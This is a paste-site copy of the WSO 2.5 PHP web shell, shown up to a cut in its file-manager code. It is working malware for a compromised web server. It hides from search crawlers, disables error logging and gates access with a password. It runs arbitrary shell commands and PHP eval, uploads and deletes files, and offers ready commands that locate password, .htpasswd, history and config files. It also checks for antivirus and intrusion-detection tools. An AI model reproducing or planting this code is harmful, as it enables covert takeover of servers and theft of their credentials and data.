· 10 years ago · May 17, 2016, 02:51 PM
1<?php
2$auth_pass = "866fd58d77526c1bda8771b5b21d5b11";
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7
8if (!empty($_SERVER['HTTP_USER_AGENT']))
9 {
10 $userAgents = array(
11 "Google",
12 "Slurp",
13 "MSNBot",
14 "ia_archiver",
15 "Yandex",
16 "Rambler",
17 "Bing"
18 );
19 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
20 {
21 header('HTTP/1.0 404 Not Found');
22 exit;
23 }
24 }
25
26@ini_set('error_log', NULL);
27@ini_set('log_errors', 0);
28@ini_set('max_execution_time', 0);
29@set_time_limit(0);
30@set_magic_quotes_runtime(0);
31@define('WSO_VERSION', '2.5');
32
33if (get_magic_quotes_gpc())
34 {
35 function WSOstripslashes($array)
36 {
37 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
38 }
39
40 $_POST = WSOstripslashes($_POST);
41 $_COOKIE = WSOstripslashes($_COOKIE);
42 }
43
44function wsoLogin()
45 {
46 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
47 }
48
49function WSOsetcookie($k, $v)
50 {
51 $_COOKIE[$k] = $v;
52 setcookie($k, $v);
53 }
54
55if (!empty($auth_pass))
56 {
57 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']) , $auth_pass);
58 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
59 }
60
61if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
62 else $os = 'nix';
63$safe_mode = @ini_get('safe_mode');
64
65if (!$safe_mode) error_reporting(0);
66$disable_functions = @ini_get('disable_functions');
67$home_cwd = @getcwd();
68
69if (isset($_POST['c'])) @chdir($_POST['c']);
70$cwd = @getcwd();
71
72if ($os == 'win')
73 {
74 $home_cwd = str_replace("\\", "/", $home_cwd);
75 $cwd = str_replace("\\", "/", $cwd);
76 }
77
78if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/';
79
80if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
81
82if ($os == 'win') $aliases = array(
83 "List Directory" => "dir",
84 "Find index.php in current dir" => "dir /s /w /b index.php",
85 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
86 "Show active connections" => "netstat -an",
87 "Show running services" => "net start",
88 "User accounts" => "net user",
89 "Show computers" => "net view",
90 "ARP Table" => "arp -a",
91 "IP Configuration" => "ipconfig /all"
92);
93 else $aliases = array(
94 "List dir" => "ls -lha",
95 "list file attributes on a Linux second extended file system" => "lsattr -va",
96 "show opened ports" => "netstat -an | grep -i listen",
97 "process status" => "ps aux",
98 "Find" => "",
99 "find all suid files" => "find / -type f -perm -04000 -ls",
100 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
101 "find all sgid files" => "find / -type f -perm -02000 -ls",
102 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
103 "find config.inc.php files" => "find / -type f -name config.inc.php",
104 "find config* files" => "find / -type f -name \"config*\"",
105 "find config* files in current dir" => "find . -type f -name \"config*\"",
106 "find all writable folders and files" => "find / -perm -2 -ls",
107 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
108 "find all service.pwd files" => "find / -type f -name service.pwd",
109 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
110 "find all .htpasswd files" => "find / -type f -name .htpasswd",
111 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
112 "find all .bash_history files" => "find / -type f -name .bash_history",
113 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
114 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
115 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
116 "Locate" => "",
117 "locate httpd.conf files" => "locate httpd.conf",
118 "locate vhosts.conf files" => "locate vhosts.conf",
119 "locate proftpd.conf files" => "locate proftpd.conf",
120 "locate psybnc.conf files" => "locate psybnc.conf",
121 "locate my.conf files" => "locate my.conf",
122 "locate admin.php files" => "locate admin.php",
123 "locate cfg.php files" => "locate cfg.php",
124 "locate conf.php files" => "locate conf.php",
125 "locate config.dat files" => "locate config.dat",
126 "locate config.php files" => "locate config.php",
127 "locate config.inc files" => "locate config.inc",
128 "locate config.inc.php" => "locate config.inc.php",
129 "locate config.default.php files" => "locate config.default.php",
130 "locate config* files " => "locate config",
131 "locate .conf files" => "locate '.conf'",
132 "locate .pwd files" => "locate '.pwd'",
133 "locate .sql files" => "locate '.sql'",
134 "locate .htpasswd files" => "locate '.htpasswd'",
135 "locate .bash_history files" => "locate '.bash_history'",
136 "locate .mysql_history files" => "locate '.mysql_history'",
137 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
138 "locate backup files" => "locate backup",
139 "locate dump files" => "locate dump",
140 "locate priv files" => "locate priv"
141);
142
143function wsoHeader()
144 {
145 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
146 global $color;
147 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
148<style>
149body{background-color:#444;color:#e1e1e1;}
150body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
151table.info{ color:#fff;background-color:#222; }
152span,h1,a{ color: $color !important; }
153span{ font-weight: bolder; }
154h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
155div.content{ padding: 5px;margin-left:5px;background-color:#333; }
156a{ text-decoration:none; }
157a:hover{ text-decoration:underline; }
158.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
159.bigarea{ width:100%;height:300px; }
160input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
161form{ margin:0px; }
162#toolsTbl{ text-align:center; }
163.toolsInp{ width: 300px }
164.main th{text-align:left;background-color:#5e5e5e;}
165.main tr:hover{background-color:#5e5e5e}
166.l1{background-color:#444}
167.l2{background-color:#333}
168pre{font-family:Courier,Monospace;}
169</style>
170<script>
171 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
172 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
173 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
174 var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
175 var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
176 var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
177 var d = document;
178"#@%+=FEFGT6R3987EFDF86347GR=+%@#"function set(a,c,p1,p2,p3,charset) {
179 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
180 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
181 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
182 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
183 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
184 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
185 }
186 function g(a,c,p1,p2,p3,charset) {
187 set(a,c,p1,p2,p3,charset);
188 d.mf.submit();
189 }
190 function a(a,c,p1,p2,p3,charset) {
191 set(a,c,p1,p2,p3,charset);
192 var params = 'ajax=true';
193 for(i=0;i<d.mf.elements.length;i++)
194 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
195 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
196 }
197 function sr(url, params) {
198 if (window.XMLHttpRequest)
199 req = new XMLHttpRequest();
200 else if (window.ActiveXObject)
201 req = new ActiveXObject('Microsoft.XMLHTTP');
202 if (req) {
203 req.onreadystatechange = processReqChange;
204 req.open('POST', url, true);
205 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
206 req.send(params);
207 }
208 }
209 function processReqChange() {
210 if( (req.readyState == 4) )
211 if(req.status == 200) {
212 var reg = new RegExp("(\\\\d+)([\\\\S\\\\s]*)\", 'm');
213"#@%+=FEFGT6R3987EFDF86347GR=+%@#" var arr=reg.exec(req.responseText);
214 eval(arr[2].substr(0, arr[1]));
215 } else alert('Request error!');
216 }
217</script>
218<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
219<form method=post name=mf style='display:none;'>
220<input type=hidden name=a>
221<input type=hidden name=c>
222<input type=hidden name=p1>
223<input type=hidden name=p2>
224<input type=hidden name=p3>
225<input type=hidden name=charset>
226</form>";
227 $freeSpace = @diskfreespace($GLOBALS['cwd']);
228 $totalSpace = @disk_total_space($GLOBALS['cwd']);
229 $totalSpace = $totalSpace ? $totalSpace : 1;
230 $release = @php_uname('r');
231 $kernel = @php_uname('s');
232 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
233 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
234 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
235 if (!function_exists('posix_getegid'))
236 {
237 $user = @get_current_user();
238 $uid = @getmyuid();
239 $gid = @getmygid();
240 $group = "?";
241 }
242 else
243 {
244 $uid = @posix_getpwuid(posix_geteuid());
245 $gid = @posix_getgrgid(posix_getegid());
246 $user = $uid['name'];
247 $uid = $uid['uid'];
248 $group = $gid['name'];
249 $gid = $gid['gid'];
250 }
251
252 $cwd_links = '';
253 $path = explode("/", $GLOBALS['cwd']);
254 $n = count($path);
255 for ($i = 0; $i < $n - 1; $i++)
256 {
257 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
258 for ($j = 0; $j <= $i; $j++) $cwd_links.= $path[$j] . '/';
259 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
260 }
261
262 $charsets = array(
263 'UTF-8',
264 'Windows-1251',
265 'KOI8-R',
266 'KOI8-U',
267 'cp866'
268 );
269 $opt_charsets = '';
270 foreach($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
271 $m = array(
272 'Sec. Info' => 'SecInfo',
273 'Files' => 'FilesMan',
274 'Console' => 'Console',
275 'Sql' => 'Sql',
276 'Php' => 'Php',
277 'String tools' => 'StringTools',
278 'Bruteforce' => 'Bruteforce',
279 'Network' => 'Network'
280 );
281 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
282 $m['Self remove'] = 'SelfRemove';
283 $menu = '';
284 foreach($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
285 $drives = "";
286 if ($GLOBALS['os'] == 'win')
287 {
288 foreach(range('c', 'z') as $drive)
289 if (is_dir($drive . ':\\')) $drives.= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
290 }
291
292 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br />User:<br />Php:<br />Hdd:<br />Cwd:' . ($GLOBALS['os'] == 'win' ? '<br />Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname() , 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br />' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br />' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br />' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br />' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br />' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br /><span>Server IP:</span><br />' . @$_SERVER["SERVER_ADDR"] . '<br /><span>Client IP:</span><br />' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
293 }
294
295function wsoFooter()
296 {
297 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
298 echo "
299</div>
300<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
301 <tr>
302 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br /><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
303 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
304 </tr><tr>
305 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br /><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
306 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
307 </tr><tr>
308 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br /><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
309 <td><form method='post' ENCTYPE='multipart/form-data'>
310 <input type=hidden name=a value='FilesMAn'>
311 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
312 <input type=hidden name=p1 value='uploadFile'>
313 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
314 <span>Upload file:</span>$is_writable<br /><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
315 </tr></table></div></body></html>";
316 }
317
318if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false))
319 {
320 function posix_getpwuid($p)
321 {
322 return false;
323 }
324 }
325
326if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false))
327 {
328 function posix_getgrgid($p)
329 {
330 return false;
331 }
332 }
333
334function wsoEx($in)
335 {
336 $out = '';
337 if (function_exists('exec'))
338 {
339 @exec($in, $out);
340 $out = @join("\n", $out);
341 }
342 elseif (function_exists('passthru'))
343 {
344 ob_start();
345 @passthru($in);
346 $out = ob_get_clean();
347 }
348 elseif (function_exists('system'))
349 {
350 ob_start();
351 @system($in);
352 $out = ob_get_clean();
353 }
354 elseif (function_exists('shell_exec'))
355 {
356 $out = shell_exec($in);
357 }
358 elseif (is_resource($f = @popen($in, "r")))
359 {
360 $out = "";
361 while (!@feof($f)) $out.= fread($f, 1024);
362 pclose($f);
363 }
364
365 return $out;
366 }
367
368function wsoViewSize($s)
369 {
370 if (is_int($s)) $s = sprintf("%u", $s);
371 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
372 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
373 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
374 else return $s . ' B';
375 }
376
377function wsoPerms($p)
378 {
379 if (($p & 0xC000) == 0xC000) $i = 's';
380 elseif (($p & 0xA000) == 0xA000) $i = 'l';
381 elseif (($p & 0x8000) == 0x8000) $i = '-';
382 elseif (($p & 0x6000) == 0x6000) $i = 'b';
383 elseif (($p & 0x4000) == 0x4000) $i = 'd';
384 elseif (($p & 0x2000) == 0x2000) $i = 'c';
385 elseif (($p & 0x1000) == 0x1000) $i = 'p';
386 else $i = 'u';
387 $i.= (($p & 0x0100) ? 'r' : '-');
388 $i.= (($p & 0x0080) ? 'w' : '-');
389 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
390 $i.= (($p & 0x0020) ? 'r' : '-');
391 $i.= (($p & 0x0010) ? 'w' : '-');
392 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
393 $i.= (($p & 0x0004) ? 'r' : '-');
394 $i.= (($p & 0x0002) ? 'w' : '-');
395 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
396 return $i;
397 }
398
399function wsoPermsColor($f)
400 {
401 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
402 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
403 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
404 }
405
406function wsoScandir($dir)
407 {
408 if (function_exists("scandir"))
409 {
410 return scandir($dir);
411 }
412 else
413 {
414 $dh = opendir($dir);
415 while (false !== ($filename = readdir($dh))) $files[] = $filename;
416 return $files;
417 }
418 }
419
420function wsoWhich($p)
421 {
422 $path = wsoEx('which ' . $p);
423 if (!empty($path)) return $path;
424 return false;
425 }
426
427function actionSecInfo()
428 {
429 wsoHeader();
430 echo '<h1>Server security information</h1><div class=content>';
431 function wsoSecParam($n, $v)
432 {
433 $v = trim($v);
434 if ($v)
435 {
436 echo '<span>' . $n . ': </span>';
437 if (strpos($v, "\n") === false) echo $v . '<br />';
438 else echo '<pre class=ml1>' . $v . '</pre>';
439 }
440 }
441
442 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
443 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
444 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
445 wsoSecParam('Open base dir', @ini_get('open_basedir'));
446 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
447 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
448 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
449 $temp = array();
450 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
451 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
452 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
453 if (function_exists('oci_connect')) $temp[] = "Oracle";
454 wsoSecParam('Supported databases', implode(', ', $temp));
455 echo '<br />';
456 if ($GLOBALS['os'] == 'nix')
457 {
458 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
459 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
460 wsoSecParam('OS version', @file_get_contents('/proc/version'));
461 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
462 if (!$GLOBALS['safe_mode'])
463 {
464 $userful = array(
465 'gcc',
466 'lcc',
467 'cc',
468 'ld',
469 'make',
470 'php',
471 'perl',
472 'python',
473 'ruby',
474 'tar',
475 'gzip',
476 'bzip',
477 'bzip2',
478 'nc',
479 'locate',
480 'suidperl'
481 );
482 $danger = array(
483 'kav',
484 'nod32',
485 'bdcored',
486 'uvscan',
487 'sav',
488 'drwebd',
489 'clamd',
490 'rkhunter',
491 'chkrootkit',
492 'iptables',
493 'ipfw',
494 'tripwire',
495 'shieldcc',
496 'portsentry',
497 'snort',
498 'ossec',
499 'lidsadm',
500 'tcplodg',
501 'sxid',
502 'logcheck',
503 'logwatch',
504 'sysmask',
505 'zmbscap',
506 'sawmill',
507 'wormscan',
508 'ninja'
509 );
510 $downloaders = array(
511 'wget',
512 'fetch',
513 'lynx',
514 'links',
515 'curl',
516 'get',
517 'lwp-mirror'
518 );
519 echo '<br />';
520 $temp = array();
521 foreach($userful as $item)
522 if (wsoWhich($item)) $temp[] = $item;
523 wsoSecParam('Userful', implode(', ', $temp));
524 $temp = array();
525 foreach($danger as $item)
526 if (wsoWhich($item)) $temp[] = $item;
527 wsoSecParam('Danger', implode(', ', $temp));
528 $temp = array();
529 foreach($downloaders as $item)
530 if (wsoWhich($item)) $temp[] = $item;
531 wsoSecParam('Downloaders', implode(', ', $temp));
532 echo '<br/>';
533 wsoSecParam('HDD space', wsoEx('df -h'));
534 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
535 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
536 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3']))
537 {
538 $temp = "";
539 for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++)
540 {
541 $uid = @posix_getpwuid($_POST['p2']);
542 if ($uid) $temp.= join(':', $uid) . "\n";
543 }
544
545 echo '<br/>';
546 wsoSecParam('Users', $temp);
547 }
548 }
549 }
550 else
551 {
552 wsoSecParam('OS Version', wsoEx('ver'));
553 wsoSecParam('Account Settings', wsoEx('net accounts'));
554 wsoSecParam('User Accounts', wsoEx('net user'));
555 }
556
557 echo '</div>';
558 wsoFooter();
559 }
560
561function actionPhp()
562 {
563 if (isset($_POST['ajax']))
564 {
565 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
566 ob_start();
567 eval($_POST['p1']);
568 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
569 echo strlen($temp) , "\n", $temp;
570 exit;
571 }
572
573 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
574 wsoHeader();
575 if (isset($_POST['p2']) && ($_POST['p2'] == 'info'))
576 {
577 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
578 ob_start();
579 phpinfo();
580 $tmp = ob_get_clean();
581 $tmp = preg_replace(array(
582 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
583 '!td, th {(.*)}!msiU',
584 '!<img[^>]+>!msiU',
585 ) , array(
586 '',
587 '.e, .v, .h, .h th {$1}',
588 ''
589 ) , $tmp);
590 echo str_replace('<h1', '<h2', $tmp) . '</div><br />';
591 }
592
593 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
594 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
595 if (!empty($_POST['p1']))
596 {
597 ob_start();
598 eval($_POST['p1']);
599 echo htmlspecialchars(ob_get_clean());
600 }
601
602 echo '</pre></div>';
603 wsoFooter();
604 }
605
606function actionFilesMan()
607 {
608 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
609 if (!empty($_POST['p1']))
610 {
611 switch ($_POST['p1'])
612 {
613 case 'uploadFile':
614 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
615 break;
616
617 case 'mkdir':
618 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
619 break;
620
621 case 'delete':
622 function deleteDir($path)
623 {
624 $path = (substr($path, -1) == '/') ? $path : $path . '/';
625 $dh = opendir($path);
626 while (($item = readdir($dh)) !== false)
627 {
628 $item = $path . $item;
629 if ((basename($item) == "..") || (basename($item) == ".")) continue;
630 $type = filetype($item);
631 if ($type == "dir") deleteDir($item);
632 else @unlink($item);
633 }
634
635 closedir($dh);
636 @rmdir($path);
637 }
638
639 if (is_array(@$_POST['f']))
640 foreach($_POST['f'] as $f)
641 {
642 if ($f == '..') continue;
643 $f = urldecode($f);
644 if (is_dir($f)) deleteDir($f);
645 else @unlink($f);
646 }
647
648 break;
649
650 case 'paste':
651 if ($_COOKIE['act'] == 'copy')
652 {
653 function copy_paste($c, $s, $d)
654 {
655 if (is_dir($c . $s))
656 {
657 mkdir($d . $s);
658 $h = @opendir($c . $s);
659 while (($f = @readdir($h)) !== false)
660 if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
661 }
662 elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
663 }
664
665 foreach($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
666 }
667 elseif ($_COOKIE['act'] == 'move')
668 {
669 function move_paste($c, $s, $d)
670 {
671 if (is_dir($c . $s))
672 {
673 mkdir($d . $s);
674 $h = @opendir($c . $s);
675 while (($f = @readdir($h)) !== false)
676 if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
677 }
678 elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
679 }
680
681 foreach($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
682 }
683 elseif ($_COOKIE['act'] == 'zip')
684 {
685 if (class_exists('ZipArchive'))
686 {
687 $zip = new ZipArchive();
688 if ($zip->open($_POST['p2'], 1))
689 {
690 chdir($_COOKIE['c']);
691 foreach($_COOKIE['f'] as $f)
692 {
693 if ($f == '..') continue;
694 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
695 elseif (@is_dir($_COOKIE['c'] . $f))
696 {
697 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
698 foreach($iterator as $key => $value)
699 {
700 $zip->addFile(realpath($key) , $key);
701 }
702 }
703 }
704
705 chdir($GLOBALS['cwd']);
706 $zip->close();
707 }
708 }
709 }
710 elseif ($_COOKIE['act'] == 'unzip')
711 {
712 if (class_exists('ZipArchive'))
713 {
714 $zip = new ZipArchive();
715 foreach($_COOKIE['f'] as $f)
716 {
717 if ($zip->open($_COOKIE['c'] . $f))
718 {
719 $zip->extractTo($GLOBALS['cwd']);
720 $zip->close();
721 }
722 }
723 }
724 }
725 elseif ($_COOKIE['act'] == 'tar')
726 {
727 chdir($_COOKIE['c']);
728 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
729 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
730 chdir($GLOBALS['cwd']);
731 }
732
733 unset($_COOKIE['f']);
734 setcookie('f', '', time() - 3600);
735 break;
736
737 default:
738 if (!empty($_POST['p1']))
739 {
740 WSOsetcookie('act', $_POST['p1']);
741 WSOsetcookie('f', serialize(@$_POST['f']));
742 WSOsetcookie('c', @$_POST['c']);
743 }
744
745 break;
746 }
747 }
748
749 wsoHeader();
750 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
751 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
752 if ($dirContent === false)
753 {
754 echo 'Can\'t open this folder!';
755 wsoFooter();
756 return;
757 }
758
759 global $sort;
760 $sort = array(
761 'name',
762 1
763 );
764 if (!empty($_POST['p1']))
765 {
766 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array(
767 $match[1],
768 (int)$match[2]
769 );
770 }
771
772 echo "<script>
773 function sa() {
774 for(i=0;i<d.files.elements.length;i++)
775 if(d.files.elements[i].type == 'checkbox')
776 d.files.elements[i].checked = d.files.elements[0].checked;
777 }
778</script>
779<table width='100%' class='main' cellspacing='0' cellpadding='2'>
780<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
781 $dirs = $files = array();
